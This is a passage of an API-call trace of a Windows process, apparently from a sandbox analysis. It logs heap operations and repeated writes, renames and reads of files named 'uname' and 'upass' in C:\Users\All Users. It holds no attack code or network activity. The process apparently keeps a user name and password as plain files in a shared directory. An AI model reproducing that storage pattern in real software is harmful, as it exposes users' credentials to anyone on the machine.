(HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x277b78 [0067.556] GetLastError () returned 0x0 [0067.556] SetLastError (dwErrCode=0x0) [0067.556] GetLastError () returned 0x0 [0067.556] SetLastError (dwErrCode=0x0) [0067.556] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x2b0eb8 [0067.556] GetLastError () returned 0x0 [0067.557] SetLastError (dwErrCode=0x0) [0067.557] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6ca) returned 0x2af8b0 [0067.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0) returned 1 [0067.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2af8b0 | out: hHeap=0x230000) returned 1 [0067.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70) returned 1 [0067.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c70 | out: hHeap=0x230000) returned 1 [0067.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0) returned 1 [0067.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x276fc0 | out: hHeap=0x230000) returned 1 [0067.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277b78) returned 1 [0067.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277b78 | out: hHeap=0x230000) returned 1 [0067.557] GetLastError () returned 0x0 [0067.557] SetLastError (dwErrCode=0x0) [0067.557] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x267c70 [0067.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8) returned 1 [0067.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277ba8 | out: hHeap=0x230000) returned 1 [0067.557] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x277b18) returned 1 [0067.557] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x277b18 | out: hHeap=0x230000) returned 1 [0067.557] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268300 [0067.615] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8) returned 1 [0067.615] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8 | out: hHeap=0x230000) returned 1 [0067.615] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268370) returned 1 [0067.615] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268370 | out: hHeap=0x230000) returned 1 [0067.615] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268370 [0067.646] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x29f040 [0067.726] ReadFile (in: hFile=0x180, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa58, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa58*=0x84, lpOverlapped=0x0) returned 1 [0067.920] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b3f8 [0067.936] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x50) returned 0x24a738 [0067.936] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2682c8 [0067.936] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b448 [0067.937] ReadFile (in: hFile=0x180, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa58, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa58*=0x0, lpOverlapped=0x0) returned 1 [0068.099] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5c) returned 0x2a5c60 [0068.099] AreFileApisANSI () returned 1 [0068.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0068.099] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5e) returned 0x29eba8 [0068.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf40, cbMultiByte=-1, lpWideCharStr=0x29ebc8, cchWideChar=29 | out: lpWideCharStr="C:\\Users\\All Users\\uname.tmp") returned 29 [0068.099] CreateFileW (lpFileName="C:\\Users\\All Users\\uname.tmp" (normalized: "c:\\users\\all users\\uname.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f984, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0068.100] GetFileType (hFile=0x184) returned 0x1 [0068.101] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8) returned 1 [0068.101] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8 | out: hHeap=0x230000) returned 1 [0068.101] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x26c390 [0068.116] GetLastError () returned 0x0 [0068.117] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0068.155] SetLastError (dwErrCode=0x0) [0068.155] GetLastError () returned 0x0 [0068.155] SetLastError (dwErrCode=0x0) [0068.205] WriteFile (in: hFile=0x184, lpBuffer=0x18e6b0*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x18e694, lpOverlapped=0x0 | out: lpBuffer=0x18e6b0*, lpNumberOfBytesWritten=0x18e694*=0x16, lpOverlapped=0x0) returned 1 [0068.289] GetLastError () returned 0x0 [0068.289] SetLastError (dwErrCode=0x0) [0068.325] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040) returned 1 [0068.327] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040 | out: hHeap=0x230000) returned 1 [0068.327] CloseHandle (hObject=0x180) returned 1 [0068.343] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26c390) returned 1 [0068.343] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26c390 | out: hHeap=0x230000) returned 1 [0068.343] CloseHandle (hObject=0x184) returned 1 [0068.343] AreFileApisANSI () returned 1 [0068.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0068.344] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x56) returned 0x28bea8 [0068.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf24, cbMultiByte=-1, lpWideCharStr=0x28bec8, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0068.344] DeleteFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname")) returned 1 [0068.453] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0068.453] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0068.453] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8) returned 1 [0068.453] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8 | out: hHeap=0x230000) returned 1 [0068.453] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268370) returned 1 [0068.453] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268370 | out: hHeap=0x230000) returned 1 [0068.453] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0) returned 1 [0068.453] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0 | out: hHeap=0x230000) returned 1 [0068.453] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18) returned 1 [0068.453] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18 | out: hHeap=0x230000) returned 1 [0068.453] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0068.453] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x230000) returned 1 [0068.453] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0068.453] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0068.454] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448) returned 1 [0068.454] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448 | out: hHeap=0x230000) returned 1 [0068.454] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8) returned 1 [0068.454] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8 | out: hHeap=0x230000) returned 1 [0068.454] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24a738) returned 1 [0068.454] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24a738 | out: hHeap=0x230000) returned 1 [0068.454] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24a478) returned 1 [0068.454] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24a478 | out: hHeap=0x230000) returned 1 [0068.454] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8) returned 1 [0068.454] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8 | out: hHeap=0x230000) returned 1 [0068.454] AreFileApisANSI () returned 1 [0068.454] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0068.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0068.455] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x90) returned 0x29eba8 [0068.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf40, cbMultiByte=-1, lpWideCharStr=0x29ebc8, cchWideChar=29 | out: lpWideCharStr="C:\\Users\\All Users\\uname.tmp") returned 29 [0068.455] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf24, cbMultiByte=-1, lpWideCharStr=0x29ec02, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0068.455] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\uname.tmp" (normalized: "c:\\users\\all users\\uname.tmp"), lpNewFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwFlags=0x2) returned 1 [0068.456] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8) returned 1 [0068.456] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8 | out: hHeap=0x230000) returned 1 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x50) returned 0x24a478 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ca8 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2682c8 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267c00 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267d18 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ce0 [0068.456] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b448 [0068.457] AreFileApisANSI () returned 1 [0068.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b468, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0068.457] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x56) returned 0x28bea8 [0068.457] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b468, cbMultiByte=-1, lpWideCharStr=0x28bec8, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0068.458] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f964, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0068.459] GetFileType (hFile=0x184) returned 0x1 [0068.459] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0068.459] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0068.459] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448) returned 1 [0068.459] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448 | out: hHeap=0x230000) returned 1 [0068.459] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0) returned 1 [0068.459] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0 | out: hHeap=0x230000) returned 1 [0068.459] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ce0 [0068.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x29f040 [0068.474] ReadFile (in: hFile=0x184, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa50, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa50*=0x42, lpOverlapped=0x0) returned 1 [0068.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x50) returned 0x24a738 [0068.560] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268370 [0068.562] ReadFile (in: hFile=0x184, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa50, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa50*=0x0, lpOverlapped=0x0) returned 1 [0068.562] AreFileApisANSI () returned 1 [0068.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0068.562] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x5e) returned 0x29eba8 [0068.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf7c, cbMultiByte=-1, lpWideCharStr=0x29ebc8, cchWideChar=29 | out: lpWideCharStr="C:\\Users\\All Users\\upass.tmp") returned 29 [0068.562] CreateFileW (lpFileName="C:\\Users\\All Users\\upass.tmp" (normalized: "c:\\users\\all users\\upass.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f97c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0068.563] GetFileType (hFile=0x180) returned 0x1 [0068.563] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8) returned 1 [0068.563] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8 | out: hHeap=0x230000) returned 1 [0068.563] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x26c390 [0068.563] GetLastError () returned 0x0 [0068.563] SetLastError (dwErrCode=0x0) [0068.564] GetLastError () returned 0x0 [0068.564] SetLastError (dwErrCode=0x0) [0068.564] WriteFile (in: hFile=0x180, lpBuffer=0x18e6a8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x18e68c, lpOverlapped=0x0 | out: lpBuffer=0x18e6a8*, lpNumberOfBytesWritten=0x18e68c*=0xb, lpOverlapped=0x0) returned 1 [0068.565] GetLastError () returned 0x0 [0068.565] SetLastError (dwErrCode=0x0) [0068.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040) returned 1 [0068.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040 | out: hHeap=0x230000) returned 1 [0068.565] CloseHandle (hObject=0x184) returned 1 [0068.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26c390) returned 1 [0068.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26c390 | out: hHeap=0x230000) returned 1 [0068.565] CloseHandle (hObject=0x180) returned 1 [0068.565] AreFileApisANSI () returned 1 [0068.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0068.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x56) returned 0x28bea8 [0068.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf60, cbMultiByte=-1, lpWideCharStr=0x28bec8, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0068.566] DeleteFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass")) returned 1 [0068.567] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0068.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0068.567] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0) returned 1 [0068.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0 | out: hHeap=0x230000) returned 1 [0068.567] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18) returned 1 [0068.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18 | out: hHeap=0x230000) returned 1 [0068.567] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0068.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x230000) returned 1 [0068.567] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0) returned 1 [0068.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ab0 | out: hHeap=0x230000) returned 1 [0068.567] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8) returned 1 [0068.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2682c8 | out: hHeap=0x230000) returned 1 [0068.568] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x268370) returned 1 [0068.568] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x268370 | out: hHeap=0x230000) returned 1 [0068.568] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24a738) returned 1 [0068.568] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24a738 | out: hHeap=0x230000) returned 1 [0068.568] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24a478) returned 1 [0068.568] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24a478 | out: hHeap=0x230000) returned 1 [0068.568] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8) returned 1 [0068.568] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8 | out: hHeap=0x230000) returned 1 [0068.568] AreFileApisANSI () returned 1 [0068.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf7c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 29 [0068.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0068.568] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x90) returned 0x29eba8 [0068.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf7c, cbMultiByte=-1, lpWideCharStr=0x29ebc8, cchWideChar=29 | out: lpWideCharStr="C:\\Users\\All Users\\upass.tmp") returned 29 [0068.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4baf60, cbMultiByte=-1, lpWideCharStr=0x29ec02, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0068.568] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\upass.tmp" (normalized: "c:\\users\\all users\\upass.tmp"), lpNewFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwFlags=0x2) returned 1 [0068.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8) returned 1 [0068.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29eba8 | out: hHeap=0x230000) returned 1 [0068.584] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ca8 [0068.584] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x268370 [0068.584] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2682c8 [0068.584] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ab0 [0068.584] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267c00 [0068.584] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b448 [0068.584] AreFileApisANSI () returned 1 [0068.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b468, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0068.585] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x56) returned 0x28bea8 [0068.585] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b468, cbMultiByte=-1, lpWideCharStr=0x28bec8, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\uname") returned 25 [0068.585] CreateFileW (lpFileName="C:\\Users\\All Users\\uname" (normalized: "c:\\users\\all users\\uname"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f920, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0068.671] GetFileType (hFile=0x180) returned 0x1 [0068.671] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8) returned 1 [0068.671] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bea8 | out: hHeap=0x230000) returned 1 [0068.671] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448) returned 1 [0068.671] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b448 | out: hHeap=0x230000) returned 1 [0068.671] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00) returned 1 [0068.671] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267c00 | out: hHeap=0x230000) returned 1 [0068.672] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x29f040 [0068.672] ReadFile (in: hFile=0x180, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa10, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa10*=0x16, lpOverlapped=0x0) returned 1 [0068.672] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b448 [0068.672] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267c00 [0068.672] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b3f8 [0068.672] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267d18 [0068.672] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ce0 [0068.672] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8) returned 1 [0068.672] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8 | out: hHeap=0x230000) returned 1 [0068.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0) returned 1 [0068.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ce0 | out: hHeap=0x230000) returned 1 [0068.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18) returned 1 [0068.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267d18 | out: hHeap=0x230000) returned 1 [0068.673] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b498 [0068.673] ReadFile (in: hFile=0x180, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa10, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa10*=0x0, lpOverlapped=0x0) returned 1 [0068.673] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x28bea8 [0068.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8) returned 1 [0068.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8 | out: hHeap=0x230000) returned 1 [0068.673] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040) returned 1 [0068.673] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x29f040 | out: hHeap=0x230000) returned 1 [0068.674] CloseHandle (hObject=0x180) returned 1 [0068.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267d18 [0068.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ce0 [0068.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ca8 [0068.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x26b3f8 [0068.674] AreFileApisANSI () returned 1 [0068.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b418, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0068.674] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x56) returned 0x28bf08 [0068.674] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x26b418, cbMultiByte=-1, lpWideCharStr=0x28bf28, cchWideChar=25 | out: lpWideCharStr="C:\\Users\\All Users\\upass") returned 25 [0068.674] CreateFileW (lpFileName="C:\\Users\\All Users\\upass" (normalized: "c:\\users\\all users\\upass"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f920, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0068.675] GetFileType (hFile=0x180) returned 0x1 [0068.675] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bf08) returned 1 [0068.675] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x28bf08 | out: hHeap=0x230000) returned 1 [0068.675] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8) returned 1 [0068.675] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26b3f8 | out: hHeap=0x230000) returned 1 [0068.675] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8) returned 1 [0068.675] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267ca8 | out: hHeap=0x230000) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x1024) returned 0x29f040 [0068.675] ReadFile (in: hFile=0x180, lpBuffer=0x29f060, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fa10, lpOverlapped=0x0 | out: lpBuffer=0x29f060*, lpNumberOfBytesRead=0x18fa10*=0xb, lpOverlapped=0x0) returned 1 [0068.675] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267ca8 [0068.675] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x28bf08 [0068.675] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6b) returned 0x29eba8 [0068.676] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x28bf08) returned 1 [0068.676] HeapFree (in: hHeap=0x230000, 